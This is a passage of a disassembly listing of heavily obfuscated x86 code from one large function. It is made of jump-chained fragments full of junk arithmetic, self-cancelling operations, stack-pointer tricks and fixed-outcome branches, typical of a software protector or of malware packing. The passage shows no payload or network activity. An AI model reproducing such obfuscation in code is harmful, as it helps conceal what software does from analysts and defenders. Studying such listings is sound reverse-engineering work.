		xor	[esp-0Ah+arg_0+2], edi
		xor	edi, [esp-0Ah+arg_0+2]
		pop	esp
		sub	word ptr [esp-0Eh+arg_4+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A95BC:				; CODE XREF: sub_58A891+1395Ej
		mov	ebx, 3336E618h
		sub	edx, ebx
		pop	ebx
		sub	edi, edx
		jmp	loc_5B006D
; ---------------------------------------------------------------------------


loc_5A95CB:				; CODE XREF: sub_58A891+26CA3j
		push	81h
		mov	[esp+1Eh+var_20+2], esp
		push	edi
		mov	edi, 4
		jmp	loc_5A19B3
; ---------------------------------------------------------------------------


loc_5A95DE:				; CODE XREF: sub_58A891+237D9j
		pop	ecx
		jmp	loc_5ACA85
; ---------------------------------------------------------------------------


loc_5A95E4:				; CODE XREF: sub_58A891+11EE3j
		mov	edi, 50F22FB5h
		xor	edi, 9565FCF3h
		jmp	loc_5A0D3D
; ---------------------------------------------------------------------------


loc_5A95F4:				; CODE XREF: sub_58A891+192BBj
		shl	esi, 5
		js	loc_5A1340
		add	esi, 0FFFFFFFFh
		and	esi, 775633B1h
		jmp	loc_59E6EB
; ---------------------------------------------------------------------------


loc_5A960B:				; CODE XREF: sub_58A891:loc_5A2CADj
		push	edi
		jmp	loc_5AEAB4
; ---------------------------------------------------------------------------


loc_5A9611:				; CODE XREF: sub_58A891+1AFF0j
					; sub_58A891+2224Ej
		add	ebp, ebx
		sub	ebp, 566F69ADh
		sub	ebp, 142F39F2h
		pop	ebx
		pop	esi
		push	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ABEB6
; ---------------------------------------------------------------------------


loc_5A9636:				; CODE XREF: sub_58A891+19BBFj
					; sub_58A891+27DA2j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5AFAEB
; ---------------------------------------------------------------------------


loc_5A964D:				; CODE XREF: sub_58A891+1A18Ej
		pop	[esp+0C2h+var_C4+2]
		pop	esp
		jmp	loc_5B2250
; ---------------------------------------------------------------------------


loc_5A9656:				; CODE XREF: sub_58A891+22E82j
		xchg	edx, [esp+0BAh+var_BA]
		pop	esp
		mov	dh, ch
		pop	ecx
		mov	bh, dh
		jmp	loc_59EB9F
; ---------------------------------------------------------------------------


loc_5A9664:				; CODE XREF: sub_58A891+23472j
		mov	[esp+0B2h+var_B2], esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		jmp	loc_5A9248
; ---------------------------------------------------------------------------


loc_5A9677:				; CODE XREF: sub_58A891+1E30Dj
		jz	loc_5A55F4
		inc	edi
		jl	loc_59F276
		sub	edi, 0D84BB7E6h
		jmp	loc_59C712
; ---------------------------------------------------------------------------
		mov	bl, ch


loc_5A9691:				; CODE XREF: sub_58A891+153BBj
					; sub_58A891+25648j
		inc	edx
		shr	edx, 2
		jmp	loc_5B0708
; ---------------------------------------------------------------------------


loc_5A969A:				; CODE XREF: sub_58A891+191F0j
		sub	esp, 4
		mov	[esp+92h+var_92], ecx
		mov	ecx, 1BDF1416h
		shr	ecx, 3
		sub	esp, 4
		mov	[esp+96h+var_96], ecx
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_5B077E
; ---------------------------------------------------------------------------


loc_5A96B9:				; CODE XREF: sub_58A891:loc_5B2AD0j
		dec	ecx
		jmp	loc_5A895E
; ---------------------------------------------------------------------------


loc_5A96BF:				; CODE XREF: sub_58A891+163ECj
					; sub_58A891+20001j
		mov	esi, 4
		sub	ecx, 2DBE2587h
		sub	ecx, 19FB5C91h
		add	ecx, esi
		add	ecx, 19FB5C91h
		jmp	loc_59D182
; ---------------------------------------------------------------------------


loc_5A96DD:				; CODE XREF: sub_58A891+223B3j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		push	esp
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_5A11A5
; ---------------------------------------------------------------------------


loc_5A96FA:				; CODE XREF: sub_58A891+155F1j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 6D8171D8h
		or	ebx, 445202E5h
		jmp	loc_5A8518
; ---------------------------------------------------------------------------


loc_5A970E:				; CODE XREF: sub_58A891+1E578j
		push	6864h
		mov	[esp+96h+var_96], edx
		mov	dl, cl
		jmp	loc_5AD727
; ---------------------------------------------------------------------------


loc_5A971D:				; CODE XREF: sub_58A891+225DBj
		push	[esp+96h+var_96]
		pop	ebp
		add	esp, 4
		neg	ebp
		xchg	ebp, edi
		push	ecx
		jmp	loc_5AF98B
; ---------------------------------------------------------------------------


loc_5A9731:				; CODE XREF: sub_58A891+1EB7Cj
		sub	edi, ecx
		pop	ecx
		pop	ecx
		push	683Ah
		mov	[esp+26h+var_28+2], edi
		push	[esp+26h+var_24+2]
		pop	edi
		jmp	loc_5A7D33
; ---------------------------------------------------------------------------


loc_5A9747:				; CODE XREF: sub_58A891+141BAj
		push	ebx
		mov	ebx, 24B231FDh
		add	ebx, 0FFFFFFFFh
		add	ebx, 5AAA6ECCh
		xor	ebx, 61D4371Ah
		push	ebx
		not	[esp+16h+var_18+2]
		jmp	loc_5A2529
; ---------------------------------------------------------------------------


loc_5A9768:				; CODE XREF: sub_58A891+20421j
		pop	eax
		add	eax, 4
		jmp	loc_5A4C37
; ---------------------------------------------------------------------------


loc_5A9773:				; CODE XREF: sub_58A891+23C50j
		or	esi, 5939623Ch
		shl	esi, 4
		shr	esi, 3
		inc	esi
		jnz	loc_5AA897
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------
		push	4C195037h
		mov	ch, 2
		mov	cl, dh


loc_5A9794:				; CODE XREF: sub_58A891+1D320j
		pop	eax
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59C41D
; ---------------------------------------------------------------------------


loc_5A979D:				; CODE XREF: sub_58A891+1A784j
					; sub_58A891:loc_5A7160j
		xor	edi, 0EB5B29BFh
		mov	edx, edi
		pop	edi
		push	ebp
		jmp	loc_59E4AC
; ---------------------------------------------------------------------------


loc_5A97AC:				; CODE XREF: sub_58A891+1206Aj
					; sub_58A891:loc_5A2E10j
		mov	ebx, 7BC449CAh
		shr	ebx, 8
		sub	ebx, 4B024554h
		and	ebx, 2404135h
		add	ebx, 7DFC76E1h
		jmp	loc_5ADCF2
; ---------------------------------------------------------------------------


loc_5A97CB:				; CODE XREF: sub_58A891+14D5Cj
		add	esp, 4
		xor	eax, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], eax
		jmp	loc_59D0A2
; ---------------------------------------------------------------------------


loc_5A97DC:				; CODE XREF: sub_58A891+2866Fj
		mov	ecx, [edx]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_5A468E
; ---------------------------------------------------------------------------


loc_5A97E8:				; CODE XREF: sub_58A891+18163j
		mov	[esp+3Ah+var_3C+2], esp
		add	[esp+3Ah+var_3C+2], 4
		pop	esi
		add	esi, 4
		jmp	loc_5A297E
; ---------------------------------------------------------------------------


loc_5A97FE:				; CODE XREF: sub_58A891+148CBj
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+0BEh+var_BE]
		mov	esp, [esp+0BEh+var_BE]
		push	28AFh
		jmp	loc_5A2B92
; ---------------------------------------------------------------------------


loc_5A9811:				; CODE XREF: sub_58A891+1C3F0j
		xor	esi, [esp+7Eh+var_7E]
		pop	esp
		pop	[esp+7Ah+var_7A]
		pop	esp
		shl	word ptr [esp+72h+var_74+2], cl
		pushf
		jmp	loc_59F4B6
; ---------------------------------------------------------------------------


loc_5A9823:				; CODE XREF: sub_58A891+2465Cj
		push	esi
		mov	esi, 39456E4h
		shl	esi, 7
		not	esi
		add	esi, 43A786Ch
		add	esi, 62B76030h
		add	esi, 65C2D1BDh
		sub	edx, esi
		jmp	loc_59CDE0
; ---------------------------------------------------------------------------


loc_5A9847:				; CODE XREF: sub_58A891+1AA0Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+96h+var_96]
		pop	esp
		sub	al, 90h
		sub	al, 74h
		push	ebx
		jmp	loc_59E79F
; ---------------------------------------------------------------------------


loc_5A9861:				; CODE XREF: sub_58A891+1C496j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_5B23F1
; ---------------------------------------------------------------------------


loc_5A987A:				; CODE XREF: sub_58A891+2795Fj
		push	781C66B2h
		jmp	loc_5B1CE5
; ---------------------------------------------------------------------------


loc_5A9884:				; CODE XREF: sub_58A891+25810j
		add	ebx, 304B5AE4h
		mov	edi, [esp+7Ah+var_7A]
		add	esp, 4
		jmp	loc_5AEC41
; ---------------------------------------------------------------------------


loc_5A9895:				; CODE XREF: sub_58A891+21F9Bj
		sub	esp, 2
		mov	word ptr [esp+7Ah+var_7A], dx
		jmp	loc_59ECE1
; ---------------------------------------------------------------------------


loc_5A98A4:				; CODE XREF: sub_58A891+24E47j
		sub	ebx, 152B0CC1h
		sub	ebx, edx
		add	ebx, 152B0CC1h
		pop	edx
		add	ebx, edi
		add	ebx, 1D076A3Bh
		push	0B97h
		mov	[esp+7Ah+var_7A], edi
		mov	edi, 12982A4Dh
		add	ebx, 421D0BEDh
		sub	ebx, edi
		sub	ebx, 421D0BEDh
		mov	edi, [esp+7Ah+var_7A]
		jmp	loc_5AD6E1
; ---------------------------------------------------------------------------


loc_5A98DE:				; CODE XREF: sub_58A891+2228Ej
					; sub_58A891+2269Aj
		xor	esi, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		jmp	loc_5AB284
; ---------------------------------------------------------------------------


loc_5A98E9:				; CODE XREF: sub_58A891+25B0Ej
		xor	ebx, 63CA69CCh
		jns	loc_5AA158
		add	ebx, 135A8A8h
		jmp	loc_59F2B3
; ---------------------------------------------------------------------------
		push	edi


loc_5A9901:				; CODE XREF: sub_58A891+24272j
		xchg	bh, byte ptr [esp+7Eh+var_7E]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9909:				; CODE XREF: sub_58A891+1B957j
		mov	ebx, 4DBD4A07h
		jmp	loc_5B1C8F
; ---------------------------------------------------------------------------


loc_5A9913:				; CODE XREF: sub_58A891+24580j
		not	[esp+84h+var_86+2]
		mov	eax, [esp+84h+var_86+2]
		jmp	loc_5A774D
; ---------------------------------------------------------------------------


loc_5A991E:				; CODE XREF: sub_58A891+17AD5j
		sub	edi, esi
		jmp	loc_5A7E55
; ---------------------------------------------------------------------------


loc_5A9925:				; CODE XREF: sub_58A891+118A6j
		xor	edi, eax
		pop	eax
		push	1194h
		mov	[esp+0], edi
		pop	ebx
		pop	edi
		jmp	loc_59DEFF
; ---------------------------------------------------------------------------


loc_5A9937:				; CODE XREF: sub_58A891+12692j
		push	edx
		mov	edx, 521625EEh
		push	ecx
		push	edi
		mov	edi, 11A5674Dh
		jmp	loc_59D3A2
; ---------------------------------------------------------------------------


loc_5A9949:				; CODE XREF: sub_58A891+18A2Cj
		add	dh, ch
		pop	ecx
		push	ebx
		mov	bh, 60h
		push	ax
		jmp	loc_5A00DF
; ---------------------------------------------------------------------------


loc_5A9956:				; CODE XREF: sub_58A891+21D18j
		mov	eax, 1E007310h
		jmp	loc_5AF30E
; ---------------------------------------------------------------------------


loc_5A9960:				; CODE XREF: sub_58A891+27EF5j
		xor	ebx, eax
		mov	eax, [esp-18h+arg_E+2]
		add	esp, 4
		and	ebx, 19E0748h
		push	136Ah
		mov	[esp-18h+arg_E+2], esi
		push	ebp
		mov	ebp, 53C9600Dh
		xor	ebp, 40906B64h
		jmp	loc_5A3A35
; ---------------------------------------------------------------------------


loc_5A998A:				; CODE XREF: sub_58A891+11B8Fj
		pop	small word ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9992:				; CODE XREF: sub_58A891+25C44j
		sub	ebp, edi
		jmp	loc_59D156
; ---------------------------------------------------------------------------


loc_5A9999:				; CODE XREF: sub_58A891+23B87j
		xor	edx, esi
		pop	esi
		add	edx, 6B1B5C23h
		jmp	loc_5AD1E2
; ---------------------------------------------------------------------------


loc_5A99A7:				; CODE XREF: sub_58A891+224A3j
		push	dword ptr [esp+0]
		mov	eax, [esp-24h+arg_1C]
		jmp	loc_5A362E
; ---------------------------------------------------------------------------


loc_5A99B2:				; CODE XREF: sub_58A891+22BE9j
		push	ebx
		mov	ebx, 4A777E49h
		and	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 0A643245h
		xor	ecx, edx
		pop	edx
		add	ebp, ecx
		push	[esp-24h+arg_1C]
		pop	ecx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A3DA9
; ---------------------------------------------------------------------------


loc_5A99DB:				; CODE XREF: sub_58A891+1BAC3j
					; sub_58A891+1E8BAj
		sub	edi, 59B00106h
		pop	edx
		sub	ecx, edi
		jmp	loc_5AA85E
; ---------------------------------------------------------------------------


loc_5A99E9:				; CODE XREF: sub_58A891+1D6E8j
		push	ecx
		mov	ecx, 386A0BB7h
		push	esi
		mov	esi, ecx
		mov	edi, esi
		mov	esi, [esp+8Ah+var_8A]
		jmp	loc_5B07A9
; ---------------------------------------------------------------------------


loc_5A99FC:				; CODE XREF: sub_58A891+24379j
		add	edx, ebx
		sub	edx, 77227680h
		pop	ebx
		sub	edx, ebx
		push	ecx
		jmp	loc_5AC433
; ---------------------------------------------------------------------------


loc_5A9A0D:				; CODE XREF: sub_58A891+138CEj
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_59F412
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ah+var_C+2]
		push	23F4h
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, esp
		push	ebp
		jmp	loc_5A43DF
; ---------------------------------------------------------------------------


loc_5A9A29:				; CODE XREF: sub_58A891+14962j
		add	[esp+0BEh+var_BE], 0B847CBCh
		add	[esp+0BEh+var_BE], 764D2AD9h
		add	[esp+0BEh+var_BE], 6B730330h
		add	[esp+0BEh+var_BE], eax
		sub	[esp+0BEh+var_BE], 6B730330h
		sub	[esp+0BEh+var_BE], 764D2AD9h
		jmp	loc_59E382
; ---------------------------------------------------------------------------


loc_5A9A54:				; CODE XREF: sub_58A891+21CA1j
		push	esi
		jmp	loc_5A2379
; ---------------------------------------------------------------------------


loc_5A9A5A:				; CODE XREF: sub_58A891+264A0j
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0C2h+var_C4+2], ebp
		mov	ebp, 62A56E13h
		or	ebp, 48BE2D30h
		neg	ebp
		shr	ebp, 8
		jmp	loc_59D011
; ---------------------------------------------------------------------------


loc_5A9A78:				; CODE XREF: sub_58A891+1D5FFj
		push	[esp+82h+var_82]
		pop	eax
		add	esp, 4
		jmp	loc_5A7BE3
; ---------------------------------------------------------------------------


loc_5A9A87:				; CODE XREF: sub_58A891+132F1j
		push	ebx
		mov	bl, 0F1h
		mov	ch, bl
		pop	ebx
		mov	al, ch
		pop	ecx
		add	dh, 0C6h
		sub	dh, al
		sub	dh, 0C6h
		pop	ax
		xor	al, dh
		mov	edx, [esp-8+arg_0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		push	cx
		mov	cl, 0B0h
		xchg	bl, cl
		neg	bl
		push	edi
		jmp	loc_59D255
; ---------------------------------------------------------------------------


loc_5A9AC0:				; CODE XREF: sub_58A891+117FAj
		xor	[esp+12h+var_14+2], ebx
		xor	ebx, [esp+12h+var_14+2]
		pop	esp
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5A10A3
; ---------------------------------------------------------------------------


loc_5A9ADB:				; CODE XREF: sub_58A891+196FCj
		mov	bh, 56h
		mov	dl, 0EFh
		push	3466h
		mov	[esp+22h+var_24+2], ecx
		mov	cl, 24h
		add	cl, 0FFh
		inc	cl
		sub	cl, 0F3h
		neg	cl
		jmp	loc_59D918
; ---------------------------------------------------------------------------


loc_5A9AF8:				; CODE XREF: sub_58A891+237B6j
		pop	edi
		jmp	loc_5A48CE
; ---------------------------------------------------------------------------


loc_5A9AFE:				; CODE XREF: sub_58A891+24CE0j
		sub	edx, 1B205034h
		jmp	loc_5A68D6
; ---------------------------------------------------------------------------


loc_5A9B09:				; CODE XREF: sub_58A891+13042j
		and	esi, 6C2E2C6Eh
		sub	esi, 202A2422h
		mov	ebp, esi
		jmp	loc_59DC7D
; ---------------------------------------------------------------------------


loc_5A9B1C:				; CODE XREF: sub_58A891+1B9B3j
		pop	ebp
		jmp	loc_5A0B9E
; ---------------------------------------------------------------------------


loc_5A9B22:				; CODE XREF: sub_58A891+1CE71j
		mov	[esp+0D6h+var_D8+2], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5AE3DB
; ---------------------------------------------------------------------------


loc_5A9B38:				; CODE XREF: sub_58A891+21619j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A92E8
; ---------------------------------------------------------------------------


loc_5A9B45:				; CODE XREF: sub_58A891+27A1Bj
		mov	esp, [esp+0D6h+var_D8+2]


loc_5A9B48:				; CODE XREF: sub_58A891+25A19j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A708A
; ---------------------------------------------------------------------------


loc_5A9B55:				; CODE XREF: sub_58A891+173E1j
		push	58A1246Ch
		pop	ecx
		sub	ecx, 20776A5Ah
		or	ecx, 4F5F72B9h
		jp	loc_59F778
		or	ecx, 5D364DF7h
		jmp	loc_5A9162
; ---------------------------------------------------------------------------
		mov	bh, 0E6h


loc_5A9B7B:				; CODE XREF: sub_58A891+24E7Bj
		pop	ecx
		push	edi
		jmp	loc_5ABB31
; ---------------------------------------------------------------------------


loc_5A9B82:				; CODE XREF: sub_58A891+1B4A8j
		jnb	loc_5A241E
		push	edx
		mov	edx, 0F3E7ED81h
		jmp	loc_5ACCE8
; ---------------------------------------------------------------------------
		push	[esp+58h+var_58]
		jmp	loc_5A4ABA
; ---------------------------------------------------------------------------


loc_5A9B9B:				; CODE XREF: sub_58A891+14129j
					; sub_58A891+15762j
		xor	[esp+84h+var_86+2], ecx
		xor	ecx, [esp+84h+var_86+2]
		pop	esp
		push	3E37h
		jmp	loc_5A58C4
; ---------------------------------------------------------------------------


loc_5A9BAC:				; CODE XREF: sub_58A891+1D694j
		pop	ecx
		push	ecx
		mov	ecx, 167958F1h
		push	ebx
		jmp	loc_5A5B6D
; ---------------------------------------------------------------------------


loc_5A9BB9:				; CODE XREF: sub_58A891:loc_5A58AFj
		add	esi, 4EEF0E57h
		mov	eax, esi
		jmp	loc_5A89A4
; ---------------------------------------------------------------------------


loc_5A9BC6:				; CODE XREF: sub_58A891+14204j
		inc	ebx
		jmp	loc_5B2B72
; ---------------------------------------------------------------------------


loc_5A9BCC:				; CODE XREF: sub_58A891+260F9j
		neg	eax
		add	eax, 487706FDh
		jmp	loc_59EE40
; ---------------------------------------------------------------------------


loc_5A9BD8:				; CODE XREF: sub_58A891+21F49j
		mov	ah, bl
		mov	dl, ah
		pop	eax
		pop	ebx
		sub	bl, dl
		jmp	loc_5A429A
; ---------------------------------------------------------------------------


loc_5A9BE5:				; CODE XREF: sub_58A891+12164j
		push	eax
		jmp	loc_5B048A
; ---------------------------------------------------------------------------


loc_5A9BEB:				; CODE XREF: sub_58A891+1A2E7j
		add	edx, 4
		push	edx
		push	[esp+80h+var_7E+2]
		pop	edx
		pop	[esp+80h+var_82+2]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp+80h+var_82+2], esp
		push	ecx
		push	esi
		jmp	loc_5B0508
; ---------------------------------------------------------------------------


loc_5A9C0C:				; CODE XREF: sub_58A891+239FEj
		push	[esp+88h+var_86+2]
		pop	ebp
		pop	[esp+88h+var_8A+2]
		pop	esp
		sub	edx, 3D780062h
		push	1F17h
		jmp	loc_5AF477
; ---------------------------------------------------------------------------


loc_5A9C25:				; CODE XREF: sub_58A891+1C62Cj
					; sub_58A891+1E72Aj
		mov	ebp, 2
		add	esi, ebp
		mov	ebp, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	esi
		push	[esp+5Ah+var_58+2]
		jmp	loc_5AAA45
; ---------------------------------------------------------------------------


loc_5A9C3F:				; CODE XREF: sub_58A891+1C642j
		xchg	ebx, [esp+56h+var_58+2]
		pop	esp
		sub	ebp, 0BB71B131h
		sub	edi, ebp
		push	[esp+52h+var_54+2]
		pop	ebp
		push	22F2h
		mov	[esp+56h+var_58+2], ecx
		mov	ecx, esp
		jmp	loc_5B0820
; ---------------------------------------------------------------------------


loc_5A9C5E:				; CODE XREF: sub_58A891+1D313j
		sub	esp, 4
		mov	[esp+56h+var_58+2], edi
		mov	edi, esp
		push	6FDAh
		mov	[esp+5Ah+var_5C+2], eax
		push	edi
		jmp	loc_5AAF57
; ---------------------------------------------------------------------------


loc_5A9C74:				; CODE XREF: sub_58A891+2810Ej
		xor	edi, ebx
		pop	ebx
		xor	edi, 64C3379Ah
		add	ebp, edi
		jmp	loc_59E63B
; ---------------------------------------------------------------------------
		lodsd
		push	8A4h
		mov	[esp+5Eh+var_60+2], ecx
		mov	ecx, 5D6B789Fh
		sub	esp, 4
		mov	[esp+62h+var_64+2], edx
		push	0D13h
		mov	[esp+66h+var_68+2], ecx
		jmp	loc_5B0690
; ---------------------------------------------------------------------------


loc_5A9CA8:				; CODE XREF: sub_58A891+1528Aj
		push	eax
		mov	al, 0C0h
		shr	al, 7
		sub	al, 1
		shl	al, 3
		jmp	loc_5A7A83
; ---------------------------------------------------------------------------


loc_5A9CB8:				; CODE XREF: sub_58A891+25C9Bj
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		push	esi
		jmp	loc_59F959
; ---------------------------------------------------------------------------


loc_5A9CC4:				; CODE XREF: sub_58A891+128A4j
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		and	eax, edi
		push	[esp+72h+var_74+2]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5B09C8
; ---------------------------------------------------------------------------


loc_5A9CDF:				; CODE XREF: sub_58A891+1ECEFj
		pop	eax
		add	esp, 4
		add	edi, 4
		jmp	loc_59FB2D
; ---------------------------------------------------------------------------


loc_5A9CEE:				; CODE XREF: sub_58A891+12C7Fj
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+6+var_8+2], ecx
		jmp	loc_59EBE4
; ---------------------------------------------------------------------------


loc_5A9CFC:				; CODE XREF: sub_58A891+17440j
		inc	ecx
		jp	loc_5AB570
		or	ecx, 2FB446F4h
		jb	loc_5AB4CA
		sub	ecx, 2CDD6843h
		jo	loc_5A1408
		xor	ecx, 3D8119ECh
		push	69D0h
		mov	[esp+48h+var_4A+2], ecx
		not	[esp+48h+var_4A+2]
		pop	ecx
		push	eax
		mov	eax, 62A7755Fh
		jmp	loc_5A0CA3
; ---------------------------------------------------------------------------


loc_5A9D38:				; CODE XREF: sub_58A891+22232j
		mov	edi, 23F17255h
		add	[esp+48h+var_40], edi
		jmp	loc_5AA866
; ---------------------------------------------------------------------------


loc_5A9D46:				; CODE XREF: sub_58A891+12866j
		mov	ebx, [esp+0]
		jmp	loc_59E0B1
; ---------------------------------------------------------------------------


loc_5A9D4E:				; CODE XREF: sub_58A891+25334j
		add	[esp+76h+var_74+2], ecx
		pop	ecx
		pop	eax
		push	ebx
		jmp	loc_5A43C2
; ---------------------------------------------------------------------------


loc_5A9D5A:				; CODE XREF: sub_58A891+171C3j
		mov	ebp, 510E01A7h
		sub	ebp, 3E6D7B80h
		jmp	loc_59E641
; ---------------------------------------------------------------------------


loc_5A9D6A:				; CODE XREF: sub_58A891+1B5D6j
		sub	ecx, 146F3935h
		xor	ecx, 575287EAh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5ABBB3
; ---------------------------------------------------------------------------


loc_5A9D7E:				; CODE XREF: sub_58A891+236A0j
		pop	[esp+72h+var_74+2]
		mov	esp, [esp+6Eh+var_70+2]
		push	ebx
		push	3AD5h
		mov	[esp+0], edi
		push	1C541F15h
		pop	edi
		jmp	loc_59E012
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		jmp	loc_5A5E9B
; ---------------------------------------------------------------------------


loc_5A9DA1:				; CODE XREF: sub_58A891+2099Bj
		pop	dword ptr [esp+0]
		mov	esp, [esp+72h+var_74+2]
		jmp	loc_5AA39C
; ---------------------------------------------------------------------------


loc_5A9DAC:				; CODE XREF: sub_58A891+1DD68j
		push	edx
		push	esi
		mov	esi, 77C10AADh
		push	esi
		pop	edx
		pop	esi
		push	1B6Fh
		mov	[esp+44h+var_46+2], ebp
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 693178D8h
		mov	edi, 0B457B32Eh
		sub	edi, ebx
		jmp	loc_5A196F
; ---------------------------------------------------------------------------


loc_5A9DD9:				; CODE XREF: sub_58A891+19346j
		push	697Dh
		mov	[esp+58h+var_58], ebx
		mov	ebx, esp
		jmp	loc_5A017E
; ---------------------------------------------------------------------------


loc_5A9DE8:				; CODE XREF: sub_58A891+19D2Cj
		add	edx, esi
		sub	edx, 735E3AA2h
		mov	esi, [esp+8Ch+var_8E+2]
		jmp	loc_59CFCE
; ---------------------------------------------------------------------------


loc_5A9DF8:				; CODE XREF: sub_58A891+13895j
		add	esp, 4
		add	esi, edi
		jmp	loc_5A2752
; ---------------------------------------------------------------------------


loc_5A9E05:				; CODE XREF: sub_58A891+1C234j
		inc	ebx
		xor	ebx, 4AB56312h
		shr	ebx, 3
		sub	ebx, 14346B7Eh
		jmp	loc_5ACC22
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+7Ch+var_7E+2]
		push	1145h
		mov	[esp+80h+var_82+2], esi
		push	2440h
		mov	[esp+84h+var_86+2], esp
		add	[esp+84h+var_86+2], 4
		mov	esi, [esp+84h+var_86+2]
		add	esp, 4
		push	eax
		push	571C5BDEh
		mov	eax, [esp+88h+var_8A+2]
		add	esp, 4
		not	eax
		push	ebx
		mov	ebx, 5E0C3924h
		not	ebx
		push	ecx
		mov	ecx, 0A3ABA1B6h
		add	ebx, ecx
		pop	ecx
		sub	eax, 264913FDh
		sub	eax, 257718D5h
		sub	eax, ebx
		add	eax, 257718D5h
		add	eax, 264913FDh
		pop	ebx
		sub	eax, 63443B8Ch
		add	esi, eax
		jmp	loc_5A698E
; ---------------------------------------------------------------------------


loc_5A9E7A:				; CODE XREF: sub_58A891+13508j
					; sub_58A891+26E21j
		pop	eax
		or	ecx, edi
		jmp	loc_5AD6C5
; ---------------------------------------------------------------------------


loc_5A9E82:				; CODE XREF: sub_58A891+19513j
		push	edi
		push	[esp+2Eh+var_2C+2]
		jmp	loc_5B0B4D
; ---------------------------------------------------------------------------


loc_5A9E8C:				; CODE XREF: sub_58A891+21F6Aj
		pop	eax
		push	36BDh
		mov	[esp+32h+var_34+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A2521
; ---------------------------------------------------------------------------


loc_5A9EA2:				; CODE XREF: sub_58A891+205FFj
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_5ACC5C
; ---------------------------------------------------------------------------


loc_5A9EAD:				; CODE XREF: sub_58A891+2752Fj
		shl	edi, 7
		add	edi, 67E5369Ah
		sub	eax, edi
		jmp	loc_5A8233
; ---------------------------------------------------------------------------


loc_5A9EBD:				; CODE XREF: sub_58A891+274DDj
		pop	ecx
		jmp	loc_59CC31
; ---------------------------------------------------------------------------


loc_5A9EC3:				; CODE XREF: sub_58A891+17386j
		dec	edx
		and	edx, 5D112A2Fh
		jo	loc_5AFBCA
		add	edx, 0D252F60h
		shl	edx, 5
		xor	edx, 381A7A16h
		js	loc_5A3229
		sub	edx, 0DBF07105h
		jmp	loc_5AD290
; ---------------------------------------------------------------------------


loc_5A9EF0:				; CODE XREF: sub_58A891+1E266j
		add	esi, 6992CB7h
		jle	loc_5A7860
		jmp	loc_59E152
; ---------------------------------------------------------------------------
		dec	edx
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------


loc_5A9F07:				; CODE XREF: sub_58A891+18B8Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		jmp	loc_5AF661
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: sub_58A891+19E02j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		mov	[esp+0AEh+var_AE], edi
		jmp	loc_5AB5E7
; ---------------------------------------------------------------------------


loc_5A9F31:				; CODE XREF: sub_58A891+1C6AAj
		dec	ebx
		push	eax
		jmp	loc_5AE512
; ---------------------------------------------------------------------------


loc_5A9F38:				; CODE XREF: sub_58A891+16ED3j
		and	ebx, 6DE717D8h
		and	ebx, 10E02BFFh
		jo	loc_5AA6A5
		and	ebx, 14932A94h
		jns	loc_5A3064
		not	ebx
		sub	ebx, 7F80EB55h
		mov	edx, 9D085821h


loc_5A9F63:				; CODE XREF: sub_58A891+1E862j
		mov	[esp-12h+arg_8+2], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AB0A6
; ---------------------------------------------------------------------------


loc_5A9F73:				; CODE XREF: sub_58A891+1F78Cj
		xor	ecx, edi
		mov	edi, [esp-12h+arg_8+2]
		add	esp, 4
		push	ecx
